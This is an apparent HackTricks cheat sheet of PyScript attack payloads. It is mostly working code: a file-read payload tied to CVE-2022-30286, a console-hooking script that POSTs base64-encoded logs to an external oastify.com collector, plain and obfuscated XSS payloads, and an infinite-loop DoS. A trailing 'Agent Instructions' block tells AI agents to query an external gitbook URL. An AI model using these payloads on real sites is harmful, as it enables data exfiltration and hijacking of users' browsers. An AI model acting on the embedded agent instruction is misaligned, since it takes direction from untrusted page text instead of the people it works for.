# Pyscript

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## PyScript Pentesting Guide

PyScript is a new framework developed for integrating Python into HTML so, it can be used alongside HTML. In this cheat sheet, you'll find how to use PyScript for your penetration testing purposes.

### Dumping / Retrieving files from the Emscripten virtual memory filesystem:

`CVE ID: CVE-2022-30286`\
\
Code:

```html
<py-script>
        with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
        out = fin.read()
        print(out)
</py-script>
```

Result:

![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png)

### [OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)

`CVE ID: CVE-2022-30286`\
\
Code:

```html
   <py-script>
x = "CyberGuy"
if x == "CyberGuy":
    with open('/lib/python3.10/asyncio/tasks.py') as output:
        contents = output.read()
        print(contents)
print('<script>console.pylog = console.log; console.logs = []; console.log = function(){     console.logs.push(Array.from(arguments));     console.pylog.apply(console, arguments);fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')
   </py-script>
```

Result:

![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png)

### Cross Site Scripting (Ordinary)

Code:

```python
<py-script>
        print("<img src=x onerror='alert(document.domain)'>")
</py-script>
```

Result:

![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png)

### Cross Site Scripting (Python Obfuscated)

Code:

```python
<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"

print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>
```

Result:

![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png)

### Cross Site Scripting (JavaScript Obfuscation)

Code:

```html
<py-script>
   prinht("<script>var _0x3675bf=_0x5cf5;function _0x5cf5(_0xced4e9,_0x1ae724){var _0x599cad=_0x599c();return _0x5cf5=function(_0x5cf5d2,_0x6f919d){_0x5cf5d2=_0x5cf5d2-0x94;var _0x14caa7=_0x599cad[_0x5cf5d2];return _0x14caa7;},_0x5cf5(_0xced4e9,_0x1ae724);}(function(_0x5ad362,_0x98a567){var _0x459bc5=_0x5cf5,_0x454121=_0x5ad362();while(!![]){try{var _0x168170=-parseInt(_0x459bc5(0x9e))/0x1*(parseInt(_0x459bc5(0x95))/0x2)+parseInt(_0x459bc5(0x97))/0x3*(-parseInt(_0x459bc5(0x9c))/0x4)+-parseInt(_0x459bc5(0x99))/0x5+-parseInt(_0x459bc5(0x9f))/0x6*(parseInt(_0x459bc5(0x9d))/0x7)+-parseInt(_0x459bc5(0x9b))/0x8*(-parseInt(_0x459bc5(0x9a))/0x9)+-parseInt(_0x459bc5(0x94))/0xa+parseInt(_0x459bc5(0x98))/0xb*(parseInt(_0x459bc5(0x96))/0xc);if(_0x168170===_0x98a567)break;else _0x454121['push'](_0x454121['shift']());}catch(_0x5baa73){_0x454121['push'](_0x454121['shift']());}}}(_0x599c,0x28895),prompt(document[_0x3675bf(0xa0)]));function _0x599c(){var _0x34a15f=['15170376Sgmhnu','589203pPKatg','11BaafMZ','445905MAsUXq','432bhVZQo','14792bfmdlY','4FKyEje','92890jvCozd','36031bizdfX','114QrRNWp','domain','3249220MUVofX','18cpppdr'];_0x599c=function(){return _0x34a15f;};return _0x599c();}</script>")
 </py-script>
```

Result:

![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png)

### DoS attack (Infinity loop)

Code:

```html
    <py-script>
      while True:
         print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;")
   </py-script>
```

Result:

![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://breached.gitbook.io/dashboard/generic-methodologies-and-resources/python/pyscript.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
